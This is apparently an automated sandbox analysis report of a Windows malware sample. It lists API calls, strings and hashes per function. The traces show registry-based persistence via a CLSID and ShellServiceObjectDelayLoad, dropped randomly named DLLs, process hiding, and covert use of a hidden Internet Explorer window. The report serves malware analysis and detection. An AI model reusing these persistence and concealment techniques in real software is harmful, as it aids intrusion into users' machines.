DispatchMessageA.USER32(?), ref: 00406FD7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00406FE6

Strings

QueenKarton_12, xrefs: 00406C44, 00406F09
QueenKarton, xrefs: 00406E64, 00406EE7, 00406EEC
dnkkq.dll, xrefs: 00406E3F
RegisterServiceProcess, xrefs: 00406F37
%s\%s, xrefs: 00406E11, 00406E30, 00406E49
%s\%s.exe, xrefs: 00406D9C
kernel32.dll, xrefs: 00406F2D
kkq32.vxd, xrefs: 00406E26
2, xrefs: 00406D83
kkq32.dll, xrefs: 00406E07
3, xrefs: 00406D7C

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreatesprintf$MessageVersionrand$FileLoadModuleMutexProcessThread$AddressClassCopyCountCurrentCursorDirectoryDispatchExecExitGlobalIconMemoryNameObjectOpenProcRegisterStatusStockSystemTickTimerTranslateWindowexitsrand
String ID: %s\%s$%s\%s.exe$2$3$QueenKarton$QueenKarton_12$RegisterServiceProcess$dnkkq.dll$kernel32.dll$kkq32.dll$kkq32.vxd
API String ID: 607501245-2841515530
Opcode ID: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction ID: b1e00ee85c63859ee3f052cf9651ba5d7fc827d99c5bd6e2bd8f21b679fb6b98
Opcode Fuzzy Hash: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction Fuzzy Hash: E691C671F883286ADB10A7759C46FDD76A85B44704F5000BBB508FB2C2D6FC6D448BAE

Function 00403619 Relevance: 7.6, APIs: 5, Instructions: 58
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403642
GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalReadSize
String ID:
API String ID: 2632956699-0
Opcode ID: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction ID: fb77f57afc793f1fdbd914af7197191687e2a95eac13cef646675694312e246c
Opcode Fuzzy Hash: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction Fuzzy Hash: 14116531A00208BAEB216E65CC06F9DB7A8DB00765F108576FA10BA2D1D67DAF018B5D

Function 00403F68 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FA7
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FD4
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00404010
sprintf.CRTDLL(?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404048
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404063
sprintf.CRTDLL(Opbieagi,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404086
WriteFile.KERNEL32(?,0042AA84,00001A01,?,00000000,Opbieagi,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll), ref: 004040A4
CloseHandle.KERNEL32(?,?,0042AA84,00001A01,?,00000000,Opbieagi,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?), ref: 004040BB
sprintf.CRTDLL(?,CLSID\%s\InProcServer32,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,0042AA84,00001A01,?,00000000,Opbieagi,00429080,?,40000000,00000000,00000000,00000002), ref: 004040D3

Strings

Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad, xrefs: 0040412B
3, xrefs: 0040401C
Apartment, xrefs: 0040410A
%s\%s.dll, xrefs: 0040403C
Opbieagi, xrefs: 00404080, 00404085
ThreadingModel, xrefs: 0040410F
{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 00403F92, 004040C6, 00404125
Web Event Logger, xrefs: 00404126
2, xrefs: 00404023
CLSID\%s\InProcServer32, xrefs: 004040C7

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: randsprintf$File$CloseCreateHandleWrite
String ID: %s\%s.dll$2$3$Apartment$CLSID\%s\InProcServer32$Opbieagi$Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad$ThreadingModel$Web Event Logger${79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 4269242784-951892311
Opcode ID: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction ID: 8034dccab87c86b1e0d8b3b5755954c703eafec793446a3a0ea57bc4b4fc6a7a
Opcode Fuzzy Hash: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction Fuzzy Hash: E7415771F482286AD7109769EC46BE97AAC8B49304F5400FBB908F72C1D6FC9E458F69

Function 00403CE9 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403CFD
memcpy.CRTDLL(-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00403D7A
memset.CRTDLL(00406DCE,00000000,0000000C,-0042AA50,?,69D4CE72,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe,00429080), ref: 00403D8F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DF6
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403DFE
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E1F
rand.CRTDLL(?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE,?,?,%s\%s.exe), ref: 00403E27
memcpy.CRTDLL(-0042AA4C,0042AA44,00000040,?,?,?,?,?,?,?,10624DD3,?,?,?,?,00406DCE), ref: 00403E52

Strings

+Z}), xrefs: 00403CF2

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: rand$memcpy$memset
String ID: +Z})
API String ID: 1341957784-4018127762
Opcode ID: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction ID: df63eb390851271c68cbd719fcc6126871763b87c01c507511359465d0d2d2d2
Opcode Fuzzy Hash: 2b8c7437e1bd7430af5d83ecd7967c4870ae419bfa933bb167626543e718b489
Instruction Fuzzy Hash: A4719E31F042159BCB10CF69DD42A9E7BF5AF88354F584076E901B77A0D23CAA16CBAD

Function 00404148 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001,00006A14,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,?,004040F5), ref: 00404189
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72,00000001), ref: 004041AB
RegCloseKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00429080,69D4CE72,69D4CE72,00000001,00000000,00000000,00000000,000F003F,00000000,00000000,69D4CE72), ref: 004041B9

Strings

{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 0040414D

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: {79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 1818849710-4250702572
Opcode ID: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction ID: 412fd7a6ac4860a679fa2010a2fd1b93dd732dea722ee027fa7473d1befc18ea
Opcode Fuzzy Hash: 0b9791cc2bb803e0a6fddded9d2feb4d7971cdb144d1b8de1133cc46446009fc
Instruction Fuzzy Hash: A7018472B00108BBEB114A95CC02FFEBA6AEF44764F250065FA00B71D1C6B1AE519754

Function 0040365E Relevance: 6.0, APIs: 4, Instructions: 30
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: File$AllocCloseHandleLocalReadSize
String ID:
API String ID: 341201350-0
Opcode ID: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction ID: f40f052c398d65a7c82f7348c4b70b1bbd35af8546e58ac1d0fc8a8e918c22c0
Opcode Fuzzy Hash: 2fd491c6994b402e35e8b9e545411a472b55f40d1e3a5e6431fc85953c0e0c00
Instruction Fuzzy Hash: 4EF01C76F04504BAEB01ABA58C02BDD77789B04319F108467F604B62C1D27D6B119B6E

Function 00407980 Relevance: 4.5, APIs: 3, Instructions: 47
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: CommandHandleLineModulestrchr
String ID:
API String ID: 2139856000-0
Opcode ID: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction ID: bd194e91918afd51b414fff694719a57869652e1cfdb10064340714cce8cfdd4
Opcode Fuzzy Hash: a85f45691ed6f3240fb139f31581347a401a2e524d65f22663fdacfbc6ab9f8e
Instruction Fuzzy Hash: 98F062D1E2C28124FF3162764C4673FAD8A9782754F281477E482F62C2E5BCAD52922B

Function 00401219 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction ID: 1ee26eb31ace3a5089fdf6d32769bdd241f616d51084a453fd18da055c90a8b4
Opcode Fuzzy Hash: 4cf7b12bb1780c75f300c3ebf2e5b3677e9a846ab4eef9a36478d9a0a8233563
Instruction Fuzzy Hash: 52F09670F44300BBDB206F55DD03F167AA8EB08F1CF90002AFA44611D1D67D6420569F

Function 0040121F Relevance: 3.0, APIs: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__GetMainArgs.CRTDLL(0042A020,0042A024,0042A028,00000000,00000000), ref: 00401262

Part of subcall function 00407980: GetCommandLineA.KERNEL32(?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407985
Part of subcall function 00407980: strchr.CRTDLL(00000001,00000022,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 00407997
Part of subcall function 00407980: GetModuleHandleA.KERNEL32(00000000,?,?,?,00401284,0042A020,0042A024,0042A028,00000000,00000000), ref: 004079D1

exit.CRTDLL(00000000), ref: 0040128D

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: ArgsCommandHandleLineMainModuleexitstrchr
String ID:
API String ID: 735354517-0
Opcode ID: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction ID: 22fee5bca0d1ee63cc250ffe024ab50772efda8fe48dde45178863df2fdfff2b
Opcode Fuzzy Hash: 3b2f29dedebab105fe7e3300aa923db6c3c370c5ed425738ec8fc91bc5ecbfbb
Instruction Fuzzy Hash: BEF090B0F44300BBDA206F55AC03F1A7AA8EB08B1CFA0002AFA44611E1DA7D6420569F

Non-executed Functions

Function 00405133 Relevance: 65.0, APIs: 28, Strings: 9, Instructions: 238
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00405181
lstrlenA.KERNEL32(?,?), ref: 00405195
lstrlenA.KERNEL32(?,?,?), ref: 004051A6
lstrlenA.KERNEL32(?,?,?,?), ref: 004051C4
lstrlenA.KERNEL32(?,?,?,?,?), ref: 004051D5
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 004051E6
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405218
memset.CRTDLL(?,00000000,00000010,?,?,?,?,?,?), ref: 0040522E
GetTickCount.KERNEL32 ref: 00405239
srand.CRTDLL(00000000,?,00000000,00000010,?,?,?,?,?,?), ref: 0040523F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040526C
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?), ref: 00405290
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052D4

Strings

Path, xrefs: 00405250
\Iexplore.exe , xrefs: 004052EC
D, xrefs: 00405334
Software\Microsoft\IE Setup\Setup, xrefs: 00405255
MicroSoft-Corp, xrefs: 004053C3
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
7O{M, xrefs: 0040513F
X-okRecv11, xrefs: 00405458
IEFrame, xrefs: 004053F2

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeLocal$CountEnvironmentExpandIncrementInterlockedOpenStringsTickmemsetsrand
String ID: %s%u - Microsoft Internet Explorer$7O{M$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 2987844104-963083691
Opcode ID: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction ID: eaf183550e18aa99804e3b29fd782d62b91feccc71c8544a1a81296d936fe118
Opcode Fuzzy Hash: a4e079000a0a70f6da611676ee79104fcc8748fed5030838b847c3b90d393ccd
Instruction Fuzzy Hash: 8E91B471E092186BDF20EB65CC49BDEB779AF40308F1440F6E208B61D1DAB96EC58F59

Function 00405C09 Relevance: 59.7, APIs: 25, Strings: 9, Instructions: 230stringfilesleepCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405C3C
GetTickCount.KERNEL32 ref: 00405C54
srand.CRTDLL(00000000,?), ref: 00405C5A
InterlockedIncrement.KERNEL32(0042C48C), ref: 00405C69
memset.CRTDLL(?,00000000,00000010,0042C48C,00000000,?), ref: 00405C7F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,00000000,?), ref: 00405CC2

Part of subcall function 0040570C: GetTempPathA.KERNEL32(00000104,?), ref: 00405730
Part of subcall function 0040570C: strcat.CRTDLL(?,.htm), ref: 00405764
Part of subcall function 0040570C: sprintf.CRTDLL(?,<html>), ref: 00405778
Part of subcall function 0040570C: rand.CRTDLL ref: 00405786
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 004057A4
Part of subcall function 0040570C: rand.CRTDLL ref: 004057AC
Part of subcall function 0040570C: rand.CRTDLL ref: 004057BE
Part of subcall function 0040570C: sprintf.CRTDLL(?,%s,?), ref: 004057DF
Part of subcall function 0040570C: rand.CRTDLL ref: 004057E7
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405805
Part of subcall function 0040570C: strcat.CRTDLL(?,<head>), ref: 00405819
Part of subcall function 0040570C: rand.CRTDLL ref: 00405827
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405845
Part of subcall function 0040570C: rand.CRTDLL ref: 0040584D

strcat.CRTDLL(?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405CF7
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D0A

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D2B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405D95
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DA8
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DCA
FindWindowA.USER32(IEFrame,?), ref: 00405DED
Sleep.KERNEL32(000003E8,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405DFD
Sleep.KERNEL32(0000F000,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405E20
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405E38
CopyFileA.KERNEL32(?,?,00000000), ref: 00405E85
DeleteFileA.KERNEL32(?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EA4
lstrlenA.KERNEL32(<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EAE
strncmp.CRTDLL(00000000,<HTML><!--,00000000,<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000), ref: 00405EBA
lstrlenA.KERNEL32(<HTML><!--,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405ECB
LocalFree.KERNEL32(00000000,?,?,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000), ref: 00405F0F
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F2B
TerminateProcess.KERNEL32(?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F38
CloseHandle.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F49

Strings

D, xrefs: 00405D39
Path, xrefs: 00405C90
\Iexplore.exe , xrefs: 00405CEB
Software\Microsoft\IE Setup\Setup, xrefs: 00405C95
MicroSoft-Corp, xrefs: 00405DB9
<HTML><!--, xrefs: 00405EA9, 00405EB4, 00405EC6
%s%u - Microsoft Internet Explorer, xrefs: 00405DBE
X-okRecv11, xrefs: 00405E3F
IEFrame, xrefs: 00405DE8

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
